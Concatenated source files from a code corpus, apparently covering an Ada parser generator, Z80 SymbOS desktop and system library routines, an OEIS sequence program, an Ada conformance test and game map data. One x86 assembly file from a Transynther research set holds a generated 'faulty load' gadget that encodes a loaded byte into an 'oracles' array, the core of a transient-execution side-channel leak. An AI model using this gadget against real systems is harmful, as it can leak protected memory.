Tokens_File,
Output_File,
Parse_Table,
Text_IO,
-- u_env, -- For getting the command line arguments
Symbol_Table, -- Used for statistics only
Rule_Table; -- Used for statistics only
-- UMASS CODES :
with Error_Report_File;
-- END OF UMASS CODES.
procedure Ayacc is
Rcs_ID : constant String := "$Header: /cf/ua/arcadia/alex-ayacc/ayacc/src/RCS/ayacc.a,v 1.1 88/08/08 12:07:07 arcadia Exp $";
copyright : constant string :=
"@(#) Copyright (c) 1990 Regents of the University of California.";
copyright2 : constant string :=
"All rights reserved.";
Illegal_Argument_List : exception;
use Text_IO;
procedure Initialize is separate;
procedure Print_Statistics is separate;
begin
Initialize;
Source_File.Open;
Tokens_File.Open;
Parser.Parse_Declarations;
Parser.Parse_Rules;
Parse_Table.Make_Parse_Table;
Output_File.Make_Output_File;
Tokens_File.Complete_Tokens_Package;
-- UMASS CODES :
-- Generate the error report file if the codes
-- of error recovery extension should be generated.
if Options.Error_Recovery_Extension then
Error_Report_File.Write_File;
end if;
-- END OF UMASS CODES.
Source_File.Close;
Tokens_File.Close;
if Options.Interface_to_C then
Tokens_File.Make_C_Lex_Package;
end if;
Print_Statistics;
exception
when Ayacc_File_Names.Illegal_File_Name =>
Put_Line("Ayacc: Illegal Filename.");
when Options.Illegal_Option | Illegal_Argument_List =>
null;
when Parser.Syntax_Error => -- Error has already been reported.
Source_File.Close;
when Text_IO.Name_Error | Text_IO.Use_Error =>
null; -- Error has already been reported.
when others =>
Put_Line ("Ayacc: Internal Error, Please Submit an LCR.");
end Ayacc;
|
tests/integration/SymbOS-notepad/App-Notepad-lib.i.asm
|
fengjixuchui/sjasmplus
| 220 |
240554
|
<gh_stars>100-1000
;==============================================================================
;### SYSTEM-LIBRARY-ROUTINES ##################################################
;==============================================================================
SyDesktop_WINOPN
;******************************************************************************
;*** Name Window_Open_Command
;*** Input A = Window data record ram bank (0-15)
;*** DE = Window data record address (#C000-#FFFF)
;*** Output A = Window ID (only, if CF=0)
;*** CF = Success status
;*** 0 = OK
;*** 1 = window couldn't be opened, as the maximum number
;*** of windows (32) has been reached
;*** Destroyed BC,DE,HL,IX,IY
;*** Description Opens a new window. Its data record must be placed in the
;*** transfer ram area (between #c000 and #ffff).
;*** For more information about the window data record see the
;*** chapter "desktop manager data records".
;*** For more information about the transfer ram memory types see
;*** the "applications" chapter.
;******************************************************************************
ld b,a
db #dd:ld l,e
db #dd:ld h,d
ld a,(AppPrzN) ;register window for the application process
ld (ix+3),a
ld a,b
ld c,MSC_DSK_WINOPN
call SyDesktop_SendMessage
SyWOpn1 call SyDesktop_WaitMessage
cp MSR_DSK_WOPNER
scf
ret z ;return with set carry flag, if window couldn't be opened
cp MSR_DSK_WOPNOK
jr nz,SyWOpn1 ;different message than "open ok" -> continue waiting
ld a,(iy+4) ;get window ID and return with cleared carry flag
ret
SyDesktop_WINCLS
;******************************************************************************
;*** Name Window_Close_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works always
;*** Description Closes the window. The desktop manager will remove it from the
;*** screen.
;******************************************************************************
ld c,MSC_DSK_WINCLS
jp SyDesktop_SendMessage
SyDesktop_WINDIN
;******************************************************************************
;*** Name Window_Redraw_ContentExtended_Command
;*** Input A = Window ID
;*** E = -1, control ID or negative number of controls
;*** 000 - 239 -> the control with the specified ID will be
;*** redrawed.
;*** 240 - 254 -> redraws -P2 controls, starting from
;*** control P3. As an example, if P2 is -3
;*** (253) and P3 is 5, the controls 5, 6 and 7
;*** will be redrawed.
;*** 255 -> redraws all controls inside the window
;*** content.
;*** - if E is between 240 and 254:
;*** D = ID of the first control, which should be redrawed.
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works always
;*** Description Redraws one, all or a specified number of controls inside the
;*** window content. This command is identical with MSC_DSK_WININH
;*** with the exception, that it always works but with less speed.
;*** For more information see MSC_DSK_WININH.
;******************************************************************************
ld c,MSC_DSK_WINDIN
jp SyDesktop_SendMessage
SyDesktop_WINTIT
;******************************************************************************
;*** Name Window_Redraw_Title_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if window has focus
;*** Description Redraws the title bar of a window. Use this command to update
;*** the screen display, if you changed the text of the window
;*** title.
;******************************************************************************
ld c,MSC_DSK_WINTIT
jp SyDesktop_SendMessage
SyDesktop_WINSTA
;******************************************************************************
;*** Name Window_Redraw_Statusbar_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if window has focus
;*** Description Redraws the status bar of a window. Use this command to update
;*** the screen display, if you changed the text of the status bar.
;******************************************************************************
ld c,MSC_DSK_WINSTA
jp SyDesktop_SendMessage
SyDesktop_WINMAX
;******************************************************************************
;*** Name Window_Size_Maximize_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if the window is minimized or restored
;*** Description Maximizes a window. A maximized window has a special status,
;*** where it can't be moved to another screen position.
;******************************************************************************
ld c,MSC_DSK_WINMAX
jp SyDesktop_SendMessage
SyDesktop_WINMID
;******************************************************************************
;*** Name Window_Size_Restore_Command
;*** Input A = Window ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Limitation works only, if the window is maximized or minimized
;*** Description Restores the window or the size of the window, if it was
;*** minimized or maximized before.
;******************************************************************************
ld c,MSC_DSK_WINMID
jp SyDesktop_SendMessage
SyDesktop_SendMessage
;******************************************************************************
;*** Input C = Command
;*** A = Window ID
;*** DE,HL = additional parameters
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
ld (iy+0),c
ld (iy+1),a
ld (iy+2),e
ld (iy+3),d
ld (iy+4),l
ld (iy+5),h
db #dd:ld h,2 ;2 is the number of the desktop manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #10
ret
EndLib
SyDesktop_WaitMessage
;******************************************************************************
;*** Input -
;*** Output IY = message buffer
;*** A = first byte in the Message buffer (IY+0)
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
SyDWMs1 db #dd:ld h,2 ;2 is the number of the desktop manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #08 ;wait for a desktop manager message
db #dd:dec l
jr nz,SyDWMs1
ld a,(iy+0)
ret
SySystem_PRGRUN
;******************************************************************************
;*** Name Program_Run_Command
;*** Input HL = File path and name address
;*** A = [Bit0-3] File path and name ram bank (0-15)
;*** [Bit7 ] Flag, if system error message should be
;*** suppressed
;*** Output A = Success status
;*** 0 = OK
;*** 1 = File does not exist
;*** 2 = File is not an executable and its type is not
;*** associated with an application
;*** 3 = Error while loading (see P8 for error code)
;*** 4 = Memory full
;*** - If success status is 0:
;*** L = Application ID
;*** H = Process ID (the applications main process)
;*** - If success status is 3:
;*** L = File manager error code
;*** Destroyed F,BC,DE,IX,IY
;*** Description Loads and starts an application or opens a document with a
;*** known type by loading the associated application first.
;*** If Bit7 of A is not set, the system will open a message box,
;*** if an error occurs during the loading process.
;*** If the operation was successful, you will find the
;*** application ID and the process ID in L and H. If it failed
;*** because of loading problems L contains the file manager
;*** error code.
;******************************************************************************
ld c,MSC_SYS_PRGRUN
call SySystem_SendMessage
SySPRn1 call SySystem_WaitMessage
cp MSR_SYS_PRGRUN
jr nz,SySPRn1
ld a,(AppMsgB+1)
ld hl,(AppMsgB+8)
ret
SySystem_PRGEND
;******************************************************************************
;*** Name Program_End_Command
;*** Input L = Application ID
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Stops an application and releases all its used system
;*** resources. This command first stops all processes of the
;*** application. After this all open windows will be closed and the
;*** reserved memory will be released.
;*** Please note, that this command can't release memory, stop
;*** processes and timers or close windows, which are not
;*** registered for the application. Such resources first have
;*** to be released by the application itself.
;******************************************************************************
ld c,MSC_SYS_PRGEND
jp SySystem_SendMessage
SySystem_SYSWRN
;******************************************************************************
;*** Name Dialogue_Infobox_Command
;*** Input HL = Content data address (#C000-#FFFF)
;*** A = Content data ram bank (0-15)
;*** B = [Bit0-2] Number of buttons (1-3)
;*** 1 = "OK" button
;*** 2 = "Yes", "No" buttons
;*** 3 = "Yes", "No", "Cancel" buttons
;*** [Bit3-5] Titletext
;*** 0 = default (bit7=[0]"Error!"/[1]"Info")
;*** 1 = "Error!"
;*** 2 = "Info"
;*** 3 = "Warning"
;*** 4 = "Confirmation"
;*** [Bit6 ] Flag, if window should be modal
;*** [Bit7 ] Box type
;*** 0 = default (warning [!] symbol)
;*** 1 = info (own symbol will be used)
;*** DE = Data record of the caller window; the dialogue window
;*** will be the modal window of it, during its open)
;*** Content data 00 1W Address of text line 1
;*** 02 1W 4 * [text line 1 pen] + 2
;*** 04 1W Address of text line 2
;*** 06 1W 4 * [text line 2 pen] + 2
;*** 08 1W Address of text line 3
;*** 10 1W 4 * [text line 3 pen] + 2
;*** - if E[bit7] is 1:
;*** 12 1W Address of symbol (24x24 pixel SymbOS graphic format)
;*** Output A = Result status
;*** 0 -> The infobox is currently used by another
;*** application. It can only be opened once at the
;*** same time, if it's not a pure info message (one
;*** button, not modal). The user should close the other
;*** infobox first before it can be opened again by the
;*** application.
;*** 2 -> The user clicked "OK".
;*** 3 -> The user clicked "Yes".
;*** 4 -> The user clicked "No".
;*** 5 -> The user clicked "Cancel" or the close button.
;*** Destroyed F,BC,DE,HL,IX,IY
;*** Description Opens an info, warning or confirm box and displays three line
;*** of text and up to three click buttons.
;*** If Bit7 of B is set to 1, you can specify an own symbol, which
;*** will be showed left to the text. If this bit is not set, a "!"-
;*** warning symbol will be displayed.
;*** If Bit6 of B is set to 1, the window will be opened as a modal
;*** window, and you will receive a message with its window number
;*** (see MSR_SYS_SYSWRN).
;*** Please note, that the content data must always be placed in the
;*** transfer ram area (#C000-#FFFF). The texts itself and the
;*** optional graphic must always be placed inside a 16K (data ram
;*** area).
;*** As the text line pen, you should choose 1, so 6 would be the
;*** correct value.
;*** For more information about the mentioned memory types (data,
;*** transfer) see the "applications" chapter.
;*** For more information about the SymbOS graphic format see the
;*** "desktop manager data records" chapter.
;******************************************************************************
ld (SySWrnW),de
ld e,b
ld c,MSC_SYS_SYSWRN
push bc
call SySystem_SendMessage
pop af
and 7+64
dec a
ret z
SySWrn1 call SySystem_WaitMessage
cp MSR_SYS_SYSWRN
jr nz,SySWrn1
ld ix,(SySSOpW)
ld (ix+51),0
ld a,(iy+1)
cp 1
ret nz
ld a,(iy+2)
ld (ix+51),a
jr SySWrn1
SySWrnW dw 0
SySystem_SELOPN
;******************************************************************************
;*** Name Dialogue_FileSelector_Command
;*** Input HL = File mask, path and name address (#C000-#FFFF)
;*** 00 3B File extension filter (e.g. "* ")
;*** 03 1B 0
;*** 04 256B path and filename
;*** A = [Bit0-3] File mask, path and name ram bank (0-15)
;*** [Bit6 ] Flag, if "open" (0) or "save" (1) dialogue
;*** [Bit7 ] Flag, if file (0) or directory (1) selection
;*** C = Attribute filter
;*** Bit0 = 1 -> don't show read only files
;*** Bit1 = 1 -> don't show hidden files
;*** Bit2 = 1 -> don't show system files
;*** Bit3 = 1 -> don't show volume ID entries
;*** Bit4 = 1 -> don't show directories
;*** Bit5 = 1 -> don't show archive files
;*** IX = Maximum number of directory entries
;*** IY = Maximum size of directory data buffer
;*** DE = Data record of the caller window; the file selector
;*** window will be a modal window of it, during its open)
;*** Output A = Success status
;*** 0 -> The user choosed a file and closed the dialogue
;*** with "OK". The complete file path and name can be
;*** found in the filepath buffer of the application.
;*** 1 -> The user aborted the file selection. The content
;*** of the applications filepath buffer is unchanged.
;*** 2 -> The file selection dialogue is currently used by
;*** another application. It can only be opened once
;*** at the same time. The user should close the
;*** dialogue first before it can be opened again by
;*** the application.
;*** 3 -> Memory full. There was not enough memory
;*** available for the directory buffer and/or the
;*** list data structure.
;*** 4 -> No window available. The desktop manager couldn't
;*** open a new window for the dialogue, as the
;*** maximum number of windows (32) has already been
;*** reached.
;*** Destroyed F,BC,DE,HL,IX,IY
;*** Description Opens the file selection dialogue. In this dialogue the user
;*** can move through the directory structure, change the drive and
;*** search and select a file or a directory for opening or saving.
;*** If you specify a path, the dialogue will start directly in the
;*** directory. If you append a filename, too, it will be used as
;*** the preselected file.
;*** You can filter the entries of the directory by attributes and
;*** filename extension. We recommend always to set Bit3 of the
;*** attribute filter byte.
;*** The File mask/path/name string (260 bytes) must always be
;*** placed in the transfer ram area (#C000-#FFFF). For more
;*** information about this memory types see the "applications"
;*** chapter.
;*** Please note, that the system will reserve memory to store the
;*** listed directory entries and the data structure of the list.
;*** With IX and IY you can choose, how much memory should be used.
;*** We recommend to set the number of entries between 100 and 200
;*** (Amsdos supports a maximum amount of 64 entries) and to set the
;*** data buffer between 5000 and 10000.
;******************************************************************************
ld (SySSOpW),de
push iy
ld iy,AppMsgB
ld (iy+6),a
ld (iy+7),c
ld (iy+8),l
ld (iy+9),h
db #dd:ld a,l
ld (iy+10),a
db #dd:ld a,h
ld (iy+11),a
pop de
ld (iy+12),e
ld (iy+13),d
ld c,MSC_SYS_SELOPN
call SySystem_SendMessage
SySSOp1 call SySystem_WaitMessage
cp MSR_SYS_SELOPN
jr nz,SySSOp1
ld ix,(SySSOpW)
ld (ix+51),0
ld a,(iy+1)
cp -1
ret nz
ld a,(iy+2)
ld (ix+51),a
jr SySSOp1
SySSOpW dw 0
SySystem_SendMessage
;******************************************************************************
;*** Input C = Command
;*** HL,A,DE = additional Parameters
;*** Output -
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the system manager
;******************************************************************************
ld iy,AppMsgB
ld (iy+0),c
ld (iy+1),l
ld (iy+2),h
ld (iy+3),a
ld (iy+4),e
ld (iy+5),d
db #dd:ld h,3 ;3 is the number of the system manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #10
ret
SySystem_WaitMessage
;******************************************************************************
;*** Input -
;*** Output IY = message buffer
;*** A = first byte in the Message buffer (IY+0)
;*** Destroyed AF,BC,DE,HL,IX,IY
;*** Description Sends a message to the desktop manager, which includes the
;*** window ID and additional parameters
;******************************************************************************
ld iy,AppMsgB
SySWMs1 db #dd:ld h,3 ;3 is the number of the system manager process
ld a,(AppPrzN)
db #dd:ld l,a
rst #08 ;wait for a system manager message
db #dd:dec l
jr nz,SySWMs1
ld a,(iy+0)
ret
SySystem_CallFunction
;******************************************************************************
;*** Name System_CallFunction
;*** Input ((SP+0)) = System manager command
;*** ((SP+1)) = Function ID
;*** AF,BC,DE,HL,IX,IY = Input for the function
;*** Output AF,BC,DE,HL,IX,IY = Output from the function
;*** Destroyed -
;*** Description Calls a function via the system manager. This function is
;*** needed to have access to the file manager.
;******************************************************************************
ld (AppMsgB+04),bc ;copy registers into the message buffer
ld (AppMsgB+06),de
ld (AppMsgB+08),hl
ld (AppMsgB+10),ix
ld (AppMsgB+12),iy
push af
pop hl
ld (AppMsgB+02),hl
pop hl
ld e,(hl)
inc hl
ld d,(hl)
inc hl
push hl
ld (AppMsgB+00),de ;module und funktion number
ld a,e
ld (SyCallN),a
ld iy,AppMsgB
ld a,(AppPrzN)
db #dd:ld l,a
ld a,3
db #dd:ld h,a
rst #10 ;send message
SyCall1 rst #30
ld iy,AppMsgB
ld a,(AppPrzN)
db #dd:ld l,a
ld a,3
db #dd:ld h,a
rst #18 ;wait for answer
db #dd:dec l
jr nz,SyCall1
ld a,(AppMsgB)
sub 128
ld e,a
ld a,(SyCallN)
cp e
jr nz,SyCall1
ld hl,(AppMsgB+02) ;get registers out of the message buffer
push hl
pop af
ld bc,(AppMsgB+04)
ld de,(AppMsgB+06)
ld hl,(AppMsgB+08)
ld ix,(AppMsgB+10)
ld iy,(AppMsgB+12)
ret
SyCallN db 0
|
programs/oeis/158/A158010.asm
|
karttu/loda
| 1 |
7774
|
; A158010: a(n) = 256*n^2 - n.
; 255,1022,2301,4092,6395,9210,12537,16376,20727,25590,30965,36852,43251,50162,57585,65520,73967,82926,92397,102380,112875,123882,135401,147432,159975,173030,186597,200676,215267,230370,245985,262112,278751,295902,313565,331740,350427,369626,389337,409560,430295,451542,473301,495572,518355,541650,565457,589776,614607,639950,665805,692172,719051,746442,774345,802760,831687,861126,891077,921540,952515,984002,1016001,1048512,1081535,1115070,1149117,1183676,1218747,1254330,1290425,1327032,1364151,1401782,1439925,1478580,1517747,1557426,1597617,1638320,1679535,1721262,1763501,1806252,1849515,1893290,1937577,1982376,2027687,2073510,2119845,2166692,2214051,2261922,2310305,2359200,2408607,2458526,2508957,2559900,2611355,2663322,2715801,2768792,2822295,2876310,2930837,2985876,3041427,3097490,3154065,3211152,3268751,3326862,3385485,3444620,3504267,3564426,3625097,3686280,3747975,3810182,3872901,3936132,3999875,4064130,4128897,4194176,4259967,4326270,4393085,4460412,4528251,4596602,4665465,4734840,4804727,4875126,4946037,5017460,5089395,5161842,5234801,5308272,5382255,5456750,5531757,5607276,5683307,5759850,5836905,5914472,5992551,6071142,6150245,6229860,6309987,6390626,6471777,6553440,6635615,6718302,6801501,6885212,6969435,7054170,7139417,7225176,7311447,7398230,7485525,7573332,7661651,7750482,7839825,7929680,8020047,8110926,8202317,8294220,8386635,8479562,8573001,8666952,8761415,8856390,8951877,9047876,9144387,9241410,9338945,9436992,9535551,9634622,9734205,9834300,9934907,10036026,10137657,10239800,10342455,10445622,10549301,10653492,10758195,10863410,10969137,11075376,11182127,11289390,11397165,11505452,11614251,11723562,11833385,11943720,12054567,12165926,12277797,12390180,12503075,12616482,12730401,12844832,12959775,13075230,13191197,13307676,13424667,13542170,13660185,13778712,13897751,14017302,14137365,14257940,14379027,14500626,14622737,14745360,14868495,14992142,15116301,15240972,15366155,15491850,15618057,15744776,15872007,15999750
add $0,1
mul $0,256
bin $0,2
mov $1,$0
div $1,128
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c5/c52009a.ada
|
best08618/asylo
| 7 |
2984
|
-- C52009A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT A RECORD VARIABLE DESIGNATED BY AN ACCESS VALUE CANNOT
-- HAVE ITS DISCRIMINANT ALTERED, EVEN BY A COMPLETE RECORD
-- ASSIGNMENT, AND EVEN THOUGH THE THE TARGET ACCESS VARIABLE IS NOT
-- CONSTRAINED TO A SPECIFIC DISCRIMINANT VALUE. ATTEMPTING TO
-- CHANGE THE TARGET'S DISCRIMINANT RAISES CONSTRAINT_ERROR AND LEAVES
-- THE TARGET RECORD UNALTERED. THIS TEST USES STATIC DISCRIMINANT
-- VALUES.
-- ASL 6/25/81
-- SPS 10/26/82
WITH REPORT;
PROCEDURE C52009A IS
USE REPORT;
TYPE REC (DISC : INTEGER) IS
RECORD
COMP : INTEGER;
END RECORD;
TYPE REC_NAME IS ACCESS REC;
HR : REC_NAME := NEW REC'(5,0);
BEGIN
TEST ("C52009A", "CANNOT CHANGE, THROUGH ASSIGNMENT, THE " &
"(STATIC) DISCRIMINANT VALUE OF A RECORD DESIGNATED " &
"BY AN ACCESS VALUE");
BEGIN
HR.ALL := (DISC => 5, COMP => 3);
IF HR.ALL /= (5,3) THEN
FAILED ("LEGAL ASSIGNMENT FAILED");
END IF;
HR.ALL := (DISC => 4, COMP => 2);
FAILED ("RECORD ASSIGNED VALUE WITH DIFFERENT DISCRIMINANT " &
"VALUE");
EXCEPTION
WHEN CONSTRAINT_ERROR =>
IF HR.ALL /= (5,3) THEN
FAILED ("TARGET RECORD VALUE ALTERED BY " &
"ASSIGNMENT WITH A DIFFERENT " &
"DISCRIMINANT VALUE EVEN AFTER " &
"CONSTRAINT_ERROR RAISED");
END IF;
WHEN OTHERS => FAILED ("WRONG EXCEPTION");
END;
RESULT;
END C52009A;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1093.asm
|
ljhsiun2/medusa
| 9 |
173406
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r9
push %rsi
lea addresses_D_ht+0x3cb0, %r10
nop
nop
nop
nop
nop
xor $32443, %r11
mov $0x6162636465666768, %r9
movq %r9, %xmm7
movups %xmm7, (%r10)
nop
nop
nop
dec %r10
lea addresses_UC_ht+0xe6b0, %rsi
nop
nop
and %r12, %r12
movw $0x6162, (%rsi)
nop
nop
nop
nop
dec %rsi
pop %rsi
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WT+0xedf0, %r10
nop
nop
add $13425, %rcx
movl $0x51525354, (%r10)
inc %rdi
// Faulty Load
lea addresses_D+0x46b0, %rsi
nop
nop
nop
sub %rbx, %rbx
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
mapData.asm
|
RevolutionSoftware/Juego
| 1 |
104838
|
<reponame>RevolutionSoftware/Juego
mapTable:
;outside maps
RALENA = ($-mapTable)/2 \ .dw map_ralena
;battle maps
GRASS1 = ($-mapTable)/2 \ .dw map_battlegrass1
INSIDE_MAP = ($-mapTable)/2
;inside maps
BOOKSHOP = ($-mapTable)/2 \ .dw map_bookshop
ITEMSHOP = ($-mapTable)/2 \ .dw map_itemshop
WEAPONSHOP = ($-mapTable)/2 \ .dw weaponShop
mapData:
;outside
#include "maps/outside/map/ralena.inc"
;battles
#include "maps/outside/map/battleGrass1.inc"
;inside
#include "maps/inside/map/bookShop.inc"
#include "maps/inside/map/itemShop.inc"
weaponShop:
.db 11,7,33
.db 32,32,32,32,32,32,32,32,32,32,32
.db 33,33,33,33,33,33,33,33,33,33,33
.db 33,33,33,33,33,33,33,33,33,33,33
.db 33,33,37,33,33,33,33,33,33,33,33
.db 33,33,33,33,33,33,33,33,33,33,33
.db 33,33,33,33,33,33,33,33,33,33,33
.db 34,34,34,34,30,31,34,34,34,34,34
animatedTiles:
.db $00,$00,$00,$80,$02,$00,$09,$80,$02,$00,$01,$00,$07,$E0,$0D,$F0
.db $1B,$F8,$37,$FC,$2F,$FC,$2F,$FC,$2F,$FC,$1F,$F8,$0F,$F0,$07,$E0
;Tile 35
.db $00,$00,$0C,$06,$0B,$9A,$08,$64,$05,$04,$1D,$E8,$E3,$CC,$8F,$E3
.db $6E,$79,$27,$E6,$2F,$C8,$43,$F0,$5A,$D0,$E9,$08,$06,$C8,$04,$38
npcMasks:
npc0mask = (npcMasks-maskTiles)/32
#include "sprites/npcs/npc0mask.bmp"
|
libsrc/stdlib/bpeek.asm
|
andydansby/z88dk-mk2
| 1 |
80704
|
; uchar __FASTCALL__ bpeek(void *addr)
; 11.2006 aralbrec
XLIB bpeek
.bpeek
ld l,(hl)
ld h,0
ret
|
testutil/aunit/util-xunit.ads
|
Letractively/ada-util
| 0 |
12680
|
<reponame>Letractively/ada-util
-----------------------------------------------------------------------
-- util-xunit - Unit tests on top of AUnit
-- Copyright (C) 2009, 2010, 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with AUnit;
with AUnit.Simple_Test_Cases;
